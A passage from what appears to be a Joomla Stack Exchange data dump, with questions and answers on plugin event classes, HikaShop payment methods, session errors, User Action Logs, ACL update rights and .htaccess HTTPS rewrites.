group=&amp;quot;content&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;otomoto&amp;lt;/name&amp;gt;&#xA;    &amp;lt;author&amp;gt;Futuristic Tomasz Burzyński&amp;lt;/author&amp;gt;&#xA;    &amp;lt;creationDate&amp;gt;November 2020&amp;lt;/creationDate&amp;gt;&#xA;    &amp;lt;copyright&amp;gt;Copyright (C) 2020&amp;lt;/copyright&amp;gt;&#xA;    &amp;lt;license&amp;gt;Private, if you get this code for free you probably have it illegaly&amp;lt;/license&amp;gt;&#xA;    &amp;lt;authorEmail&amp;gt;kontakt.futuristic@gmail.com&amp;lt;/authorEmail&amp;gt;&#xA;    &amp;lt;authorUrl&amp;gt;https://futuristic.com.pl&amp;lt;/authorUrl&amp;gt;&#xA;    &amp;lt;version&amp;gt;0.0.2&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;Shortcode for OtoMoto adverts list&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&amp;quot;otomoto&amp;quot;&amp;gt;otomoto.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;config&amp;gt;&#xA;    &amp;lt;/config&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Instalation of plugin went without problems so I really have no idea what is going wrong.&#xA;I will add one more thing: I checked, plugin code is loaded on site, but its event just doesn`t work. I will be gratefull for any tip what's wrong with that code.&lt;/p&gt;&#xA;" OwnerUserId="14689" OwnerDisplayName="Tomek Burzyński" LastEditorUserId="14689" LastEditDate="2020-11-29T00:15:36.857" LastActivityDate="2020-11-29T13:04:30.813" Title="Problem with custom Joomla plugin (events usage)" Tags="|plugin|custom-action|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28698" PostTypeId="2" ParentId="28697" CreationDate="2020-11-29T06:22:01.053" Score="1" Body="&lt;p&gt;It's not triggering because the class is incorrect.&lt;/p&gt;&#xA;&lt;p&gt;The class of the plugin must correspond to the &lt;code&gt;plugin=&amp;quot;&amp;quot;&lt;/code&gt; attribute value on the &lt;code&gt;&amp;lt;filename&amp;gt;&lt;/code&gt; element in your XML file. It's also case sensitive.&lt;/p&gt;&#xA;&lt;p&gt;Seeing as you have used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;filename plugin=&amp;quot;otomoto&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you should replace:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentOtoMotoShortcode &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentOtomoto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-11-29T13:04:30.813" LastActivityDate="2020-11-29T13:04:30.813" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28699" PostTypeId="2" ParentId="28326" CreationDate="2020-11-29T19:54:40.200" Score="0" Body="&lt;p&gt;Perhaps it was me perhaps it was &lt;code&gt;mod_feed&lt;/code&gt; (let's assume it was me.&lt;/p&gt;&#xA;&lt;p&gt;This line was missing so I added it.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if($module-&amp;gt;showtitle){echo &amp;quot;&amp;lt;div class='g-content'&amp;gt;&amp;lt;h2&amp;gt;&amp;quot; . $module-&amp;gt;title . &amp;quot;&amp;lt;/h2&amp;gt;&amp;lt;/div&amp;gt;&amp;quot;;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2020-11-29T19:54:40.200" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28700" PostTypeId="1" CreationDate="2020-11-12T08:23:37.840" Score="0" ViewCount="30" Body="&lt;p&gt;i create Joomla site&#xA;i build some shop with hikashop module and costume it&lt;/p&gt;&#xA;&lt;p&gt;in Cart if i go tab 3 ( for payment method ) i cant added more payment method&lt;/p&gt;&#xA;&lt;p&gt;can anyone help me why i cant do that ?&#xA;for better understanding i send pic and tell you more info&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dGeaz.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dGeaz.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;i create 5 payment method in hikashop&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/PlQq9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PlQq9.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;i build buying method in step 3 u can choice you payment method&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GJ70R.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GJ70R.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;but in my site i can see just 3 from 5 method&lt;/p&gt;&#xA;&lt;p&gt;how i can 2 more method in my site ?&lt;/p&gt;&#xA;" OwnerUserId="14693" OwnerDisplayName="Abolfazl Zangeneh" LastActivityDate="2021-05-12T23:40:33.443" Title="show payment method in site" Tags="|php|css|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28701" PostTypeId="2" ParentId="28694" CreationDate="2020-11-30T14:17:47.260" Score="1" Body="&lt;p&gt;As I suggested in my comment, building a plugin for this may be an alternative solution worth pursuing.&lt;/p&gt;&#xA;&lt;p&gt;In a system plugin, simply add code similar to the example below to intercept any calls.&#xA;Rest assured the code below was not tested on animals.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;intercept onAfterRoute()&lt;/li&gt;&#xA;&lt;li&gt;ensure your code should really run there, as an example:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;exclude administrator&lt;/li&gt;&#xA;&lt;li&gt;exclude post&lt;/li&gt;&#xA;&lt;li&gt;exclude task= urls&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;parse the input, determine if you code is now appropriate, if so&#xA;&lt;ul&gt;&#xA;&lt;li&gt;output and &lt;code&gt;die()&lt;/code&gt; or&lt;/li&gt;&#xA;&lt;li&gt;redirect&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is just an example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRoute() {&#xA;    // make sure you only run this plugin where it makes sense:&#xA;    if (JPATH_BASE == JPATH_ADMINISTRATOR) return;&#xA;    $app = JFactory::getApplication();&#xA;    $input = $app-&amp;gt;input;&#xA;    // you may want to exclude certain pages, components, views ... &#xA;    // then simply query the input object or access some $_SERVER variable&#xA;&#xA;    if (empty($input-&amp;gt;get('task'))) {&#xA;        // when you are satisfied this is not going to adversely affect any functionality, &#xA;        // either output something and die(), &#xA;        echo 'You are &amp;lt;a href=&amp;quot;https://localhost&amp;quot;&amp;gt;here&amp;lt;/a&amp;gt;';&#xA;        die();&#xA;        // or redirect:&#xA;        $app-&amp;gt;redirect('https://example.com');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you want to see it in action, this code was abridged from my own plugin: &lt;a href=&quot;https://www.fasterjoomla.com/download/stripe/stripe-button-downloads&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.fasterjoomla.com/download/stripe/stripe-button-downloads&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2020-11-30T14:17:47.260" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28702" PostTypeId="1" CreationDate="2020-11-30T19:04:49.473" Score="1" ViewCount="559" Body="&lt;p&gt;I've installed last version of Joomla (3.9.23) and have encountered a problem.&lt;/p&gt;&#xA;&lt;p&gt;When I install Joomla with automatic setup all is working correctly.&lt;/p&gt;&#xA;&lt;p&gt;What I need is to install Joomla by deploying configuration.php directly into the website root. I've manually configured it and deleted the Joomla installation folder. When I try to reach the website, I get a white page with a write error on the top left.&lt;/p&gt;&#xA;&lt;p&gt;I checked the webserver logs and found this error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[error] 5457#5457: *3 FastCGI sent in stderr: &amp;quot;PHP message: PHP Warning:  session_start(): Failed to read session data: user (path: /var/lib/php/sessions) in /var/www/joomla/libraries/joomla/session/handler/native.php on line 260&amp;quot; while reading response header from upstream, client: xxx.xxx.xxx.xxx, server: &lt;a href=&quot;http://www.joomla-install.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.joomla-install.com&lt;/a&gt;, request: &amp;quot;GET / HTTP/1.1&amp;quot;, upstream: &amp;quot;fastcgi://unix:/var/run/php/php7.2-fpm.sock:&amp;quot;, host: &amp;quot;15.161.48.12:443&amp;quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Joomla folder has this ownership &lt;code&gt;www-data:www-data&lt;/code&gt; and permission &lt;code&gt;755&lt;/code&gt; for folders and &lt;code&gt;644&lt;/code&gt; for files. Connection to the database has been tested successfully with a php test page.&lt;/p&gt;&#xA;&lt;p&gt;Anyone know how can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="14694" LastEditorUserId="12352" LastEditDate="2020-11-30T23:41:37.613" LastActivityDate="2021-01-01T14:03:40.317" Title="Joomla 3.9.23 Installation error after moving configuration file" Tags="|joomla-3.x|installation|session|error-handling|error-pages|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28703" PostTypeId="1" CreationDate="2020-12-01T12:14:10.240" Score="1" ViewCount="43" Body="&lt;p&gt;I'm trying to create a simple calendar utilizing my knowledge in PHP and MySQL, but I want to have it as instant as possible. I'm using an article and the plugin sourcerer.&#xA;At first I created a simple input for Year-Month like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;  &amp;lt;lable&amp;gt;Date:&amp;lt;/lable&amp;gt;&#xA;  &amp;lt;input type=&amp;quot;month&amp;quot; id=&amp;quot;dateCal&amp;quot; name=&amp;quot;dateCal&amp;quot; value=&amp;quot;{source}&amp;lt;?=date('Y-m')?&amp;gt;{/source}&amp;quot; onchange=&amp;quot;func(this.value)&amp;quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My idea is to get that input and use it for all my following calculations in PHP, however, I need to get it first, I'm using the following code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;function func(selectedValue) {&#xA;    $.ajax({&#xA;        url: 'index.php',&#xA;        type: 'POST',&#xA;        data: {valueYM: selectedValue},&#xA;        success: function() {&#xA;            console.log(&amp;quot;Data sent!&amp;quot;);&#xA;        }&#xA;    });&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;{source}&#xA;&amp;lt;?php&#xA;if ($_REQUEST['valueYM']) {&#xA;    $val = $_REQUEST['valueYM'];&#xA;    echo $val;&#xA;}&#xA;?&amp;gt;&#xA;{/source}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As far as I know, that should work, that should return the value that is in the input, however, it doesn't work, I get the console message but the PHP function is never called, the URL value is definitely wrong, I don't really know how to tweak it and I barely found any info in google, could you give me a hand?&lt;/p&gt;&#xA;" OwnerUserId="14696" LastEditorUserId="14696" LastEditDate="2020-12-01T13:23:05.110" LastActivityDate="2020-12-01T13:23:05.110" Title="Using Ajax in Joomla articles to immediately work with input values in PHP" Tags="|php|ajax|sourcerer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28704" PostTypeId="1" AcceptedAnswerId="28706" CreationDate="2020-12-01T14:22:16.310" Score="0" ViewCount="682" Body="&lt;p&gt;I don't remember which version I started with Joomla. However, I have been using it for about 5-6 years. The latest version is 3.9.23.&lt;/p&gt;&#xA;&lt;p&gt;Due to a problem we are experiencing, I need information on the dates when a user logs in and out. I hadn't checked the &lt;strong&gt;User Actions Logs&lt;/strong&gt; section before, as I never needed this information. However, although I have activated the feature now, when I enter the User Actions Logs section, no data comes out. I have been doing research on this for about a week. Finally, I learned that this feature does not work for users who upgrade to &lt;strong&gt;3.9.0&lt;/strong&gt; version. The related article url is below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:User_Action_Logs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:User_Action_Logs&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As a result, a very good explanation was made, but I could not solve the problem because I am a standard user who does not know how the system works. When I re-install by deleting &lt;strong&gt;Joomla 3.9.23&lt;/strong&gt; I see the transaction log in the &lt;strong&gt;User Action Logs&lt;/strong&gt; section. But when I do this, I cannot use the CiviCRM plugin with its data.&lt;/p&gt;&#xA;&lt;p&gt;Can you tell me what I need to do to use &lt;strong&gt;User Actions Logs&lt;/strong&gt;? For example, in the solution I sent in the URL, where should the codes given in the &amp;quot;Component Installation Script&amp;quot; steps be added?&lt;/p&gt;&#xA;" OwnerUserId="14697" LastEditorUserId="12352" LastEditDate="2020-12-01T20:45:02.017" LastActivityDate="2020-12-02T11:28:11.630" Title="Problem Displaying User Action Logs in the updated Joomla 3.9. *" Tags="|user|logs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28705" PostTypeId="2" ParentId="4820" CreationDate="2020-12-02T05:19:03.543" Score="-1" Body="&lt;p&gt;Affiliation Disclosure: &lt;strong&gt;I am affiliated with the below company/product and my recommendation is biased by this fact.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You could use a &lt;a href=&quot;https://plugins.miniorange.com/joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;miniOrange&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&lt;p&gt;There are solutions for SAML SSO, OAuth, and LDAP.&lt;/p&gt;&#xA;&lt;p&gt;You can also search the Joomla Extension Directory (JED) for &amp;quot;miniOrange single sign-on solution&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="14699" LastEditorUserId="12352" LastEditDate="2022-02-23T20:34:46.537" LastActivityDate="2022-02-23T20:34:46.537" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28706" PostTypeId="2" ParentId="28704" CreationDate="2020-12-02T11:28:11.630" Score="1" Body="&lt;p&gt;Fatih,&lt;/p&gt;&#xA;&lt;p&gt;Welcome to Joomla Stack Exchange.&lt;/p&gt;&#xA;&lt;p&gt;You might now have looked at that JDOC more than I have, so feel free to provide feedback (here or PM me) as to what didn't make sense so it can be rewritten, but at the moment I'll be flagging that as a doc to come back to review in the next batch I work on.&lt;/p&gt;&#xA;&lt;p&gt;When you go to &lt;strong&gt;Users &amp;gt; Users Actions Log&lt;/strong&gt; in the Administrator area of the site, if the various settings to record different actions are turned on, you'll see action logs accumulating as you do things ranging from logging in and out, to making various system changes. If that's blank, then you most likely have functionality turned off for recording various events.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IcWas.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IcWas.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you then click on &lt;strong&gt;Options&lt;/strong&gt; in the top right of the screen, you're then shown a list of Events to Log from the Joomla Action logs plugin.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4wjdJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4wjdJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With &lt;strong&gt;Users&lt;/strong&gt; checked in the options list, you should then at least be then recording the log in and logged out information you are after.&lt;/p&gt;&#xA;&lt;p&gt;If you're not seeing the data being logged, then the &lt;strong&gt;Action Log - Joomla&lt;/strong&gt; plugin may be disabled, preventing logging from occurring on these core items.&lt;/p&gt;&#xA;&lt;p&gt;To check if that plugin is disabled, go to &lt;strong&gt;Extensions &amp;gt; Plugins&lt;/strong&gt;, then use Search Tools to filter for &lt;strong&gt;actionlog&lt;/strong&gt; plugins. Enable it, then log out and log back in before checking &lt;strong&gt;Users &amp;gt; User Actions Log&lt;/strong&gt; to see whether your logging off and back on are then recorded in the logs.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lw5pZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lw5pZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In addition to the core there's other plugins some components will have installed, and you can see those and enable/disable them by filtering for &lt;strong&gt;actionlog&lt;/strong&gt; plugins via &lt;strong&gt;Extensions &amp;gt; Plugins&lt;/strong&gt;, then enabling / disabling them as required.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-12-02T11:28:11.630" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28707" PostTypeId="2" ParentId="28702" CreationDate="2020-12-02T12:36:00.127" Score="1" Body="&lt;p&gt;Green,&lt;/p&gt;&#xA;&lt;p&gt;That's a very unorthodox method of configuring your site.&lt;/p&gt;&#xA;&lt;p&gt;Once you have a system generated configuration.php file from the install, you would be best simply moving that around and adjusting it rather than creating one from scratch.&lt;/p&gt;&#xA;&lt;p&gt;When you say &amp;quot;automatic install&amp;quot; do you mean via a hosting tool like softaculous in cPanel, or do you mean by uploading the zip file for the Joomla package, then running the installer?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Troubleshooting Comparison&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would suggest doing a diff comparison between the one you've created and the one the installer created as you might be missing something.&lt;/p&gt;&#xA;&lt;p&gt;Key settings to look at:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;paths to tmp and log folders&lt;/li&gt;&#xA;&lt;li&gt;database username, password and server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Did you install the site so the database was created?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Not only does the Joomla installer create the configuration.php file, it also populates the initial database of the site. So if you've not run the Joomla installer at some stage before using the manually created configuration.php file, you might have an empty database.&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;Failed to read session data&amp;quot; would be caused if there isn't a #_sessions table in the database for it to read from.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PHP modules&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I did find a Joomla forum post when looking up the error you've provided, but it was missing a clear solution. One thing that was mentioned was to check the PHP modules needed for Joomla are all there. This is probably not the likely cause, as the auto installer gave you a site that was working.&lt;/p&gt;&#xA;&lt;p&gt;Hope these help. Otherwise you might need to give an example of your configuration.php file.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-12-02T12:36:00.127" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28708" PostTypeId="2" ParentId="28679" CreationDate="2020-12-02T12:56:31.990" Score="1" Body="&lt;p&gt;Custom Fields in Articles Anywhere is a Pro feature, so there's the first thing you need to address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://regularlabs.com/extensions/articlesanywhere/tutorial#data-tags-custom-fields-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://regularlabs.com/extensions/articlesanywhere/tutorial#data-tags-custom-fields-pro&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From there, you need to use the Custom field name to show the value of the custom field for that article.&lt;/p&gt;&#xA;&lt;p&gt;If the custom field is called &amp;quot;Habitat&amp;quot; - that has a field name habitat_area - of article &amp;quot;Lions&amp;quot;. You could put in:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{article title=&amp;quot;Lions&amp;quot;}[habitat_area]{/article}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And that would then display just the custom field value from that article as there's no other field parts.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{article title=&amp;quot;Lions&amp;quot;}[title] - [habitat_area]&#xA;[alltext]{/article}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This would instead display the title with the habitat after it, then the rest of the article text.&lt;/p&gt;&#xA;&lt;p&gt;You can also just put:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{article}[habitat_area]{/article}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the current article to put the extra field in place inside the current article.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-12-02T12:56:31.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28709" PostTypeId="2" ParentId="16999" CreationDate="2020-12-02T17:01:06.903" Score="1" Body="&lt;p&gt;For me worked by editing the following files to have new setting values:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;php.ini&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;open_basedir = /var/www/public_html:/tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;php_admin_value open_basedir /var/www/public_html:/tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14694" LastEditorUserId="12352" LastEditDate="2020-12-02T22:20:51.203" LastActivityDate="2020-12-02T22:20:51.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28710" PostTypeId="1" CreationDate="2020-12-02T17:30:47.797" Score="1" ViewCount="45" Body="&lt;p&gt;We are trying to lock down the SuperUser in our application, and only assign it to 2 people.  I have created a new group TIQAdmin that isn't a Super User, but has extensive rights in the back end. Trouble is, this user cannot apply Joomla! updates. Is it required to be a Super User to update Joomla?&#xA;Attached are two images of Global Configuration settings.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/R04ap.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R04ap.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hr8PS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hr8PS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14678" LastActivityDate="2020-12-04T23:58:26.323" Title="Are Super User rights required to update Joomla?" Tags="|security|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28711" PostTypeId="1" CreationDate="2020-12-02T21:38:52.190" Score="0" ViewCount="179" Body="&lt;p&gt;We are building a website with multiple authors using &lt;a href=&quot;https://extensions.perfectwebteam.com/pwt-acl&quot; rel=&quot;nofollow noreferrer&quot;&gt;PWT ACL&lt;/a&gt; to restrict their access to the users tab so that they don't mess with each other's profile or content.&lt;/p&gt;&#xA;&lt;p&gt;I created a custom user profile plugin (&amp;quot;User Profile 5&amp;quot;) so we can store their information, but I haven't been able to get it to show up on the Edit account page so that they can actually fill in the forms.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JOOhy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JOOhy.png&quot; alt=&quot;&amp;quot;User profile 5&amp;quot; shows up under users tab&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4iCff.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4iCff.png&quot; alt=&quot;clicking edit account&quot; /&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/qaSB9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaSB9.png&quot; alt=&quot;User Profile 5 doesn't show up&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14687" LastEditorUserId="12352" LastEditDate="2020-12-02T22:30:44.303" LastActivityDate="2024-02-18T04:08:30.973" Title="How to display custom user profile plugin fields on &quot;Edit account&quot; page?" Tags="|custom-field|acl|joomla-3.9|profile|editing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28713" PostTypeId="1" CreationDate="2020-12-04T04:07:59.270" Score="1" ViewCount="95" Body="&lt;p&gt;I am trying to build a forum where users are allowed to upload and insert image into their posts. Surprisingly, this is not as easy as it seems.&lt;/p&gt;&#xA;&lt;p&gt;TinyMCE when used on frontend doesn't have the &amp;quot;insert image&amp;quot; button. I tried JCE as well, but once you click the &amp;quot;image&amp;quot; button, you will see the filesystem on my server, you definitely don't want a random user to be able to see that. The normal behavior of inserting an image into a forum post should be like this: right after being uploaded, the image should appear in the post, and the user don't and shouldn't have to worry about which folder to put the image. Is there any setting in JCE tha can help achieve this? Or is there any other editor that can do this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-12-12T16:03:50.730" Title="Frontend editor with save image uploading methods" Tags="|front-end|editor|jce|tinymce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28714" PostTypeId="1" CreationDate="2020-12-04T16:04:59.960" Score="2" ViewCount="852" Body="&lt;p&gt;Setting up a Joomla site on Apache 2.4 on a Synology Disk Station. Joomla is unavoidably installed in a subdirectory of the web root (/web/joomla) and unfortunately do not have access to the Apache httpd.conf file to reset the DocumentRoot variable.&lt;/p&gt;&#xA;&lt;p&gt;My ultimate goals for the site are as follows:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Make the /joomla subdirectory appear to be the root of the site&lt;/strong&gt;, i.e. anybody visiting example.com will be shown the page at /web/joomla/index.php but still see example.com in the URL bar.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Force switch all incoming connections to use HTTPS instead of HTTP&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Force everything within Joomla to use HTTPS&lt;/li&gt;&#xA;&lt;li&gt;Develop a strategy for SEF URLS within Joomla&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;My current strategy relies on setting the joomla configuration.php variable &lt;code&gt;$live_site = 'https://example.com';&lt;/code&gt; and using an the following .htaccess file in the web root (/web):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteBase /&#xA;&#xA;# Rewrites all URLS without joomla in them&#xA;RewriteCond %{REQUEST_URI} !^/joomla/&#xA;&#xA;# Rewrites all URLS with example in them&#xA;RewriteCond %{HTTP_HOST} ^(www\.)?example\.&#xA;&#xA;# Rewrite all those to insert /joomla&#xA;RewriteRule ^(.*)$ /joomla/$1 [L]&#xA;&#xA;# This works SOME of the time to redirect to https&#xA;Header always set Content-Security-Policy &amp;quot;upgrade-insecure-requests;&amp;quot;&#xA;&#xA;# If a request tries to access /joomla directly, redirect it to its secured canonical version&#xA;RewriteCond %{THE_REQUEST} joomla/&#xA;RewriteRule ^joomla/(.*) http://example.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This seems to work &lt;em&gt;some&lt;/em&gt; of the time in Chrome, redirecting to the Joomla installation and switching to https, and NEVER works in Firefox. I had to remove the default .htaccess file in joomla entirely to avoid 500 errors when accessing the joomla site. I have seen other examples online using &lt;code&gt;RewriteCond %{HTTPS} !=on&lt;/code&gt; or &lt;code&gt;RewriteCond %{SERVER_PORT} 80&lt;/code&gt; together with various &lt;code&gt;RewriteRule&lt;/code&gt; commands but I am not sure how to to combine these commands with the existing URL rewriting conditions I am sure I am not using best practice.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;My questions are these:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I get some help crafting the .htaccess file to redirect to &lt;em&gt;secured&lt;/em&gt; joomla?&lt;/li&gt;&#xA;&lt;li&gt;Do I need another 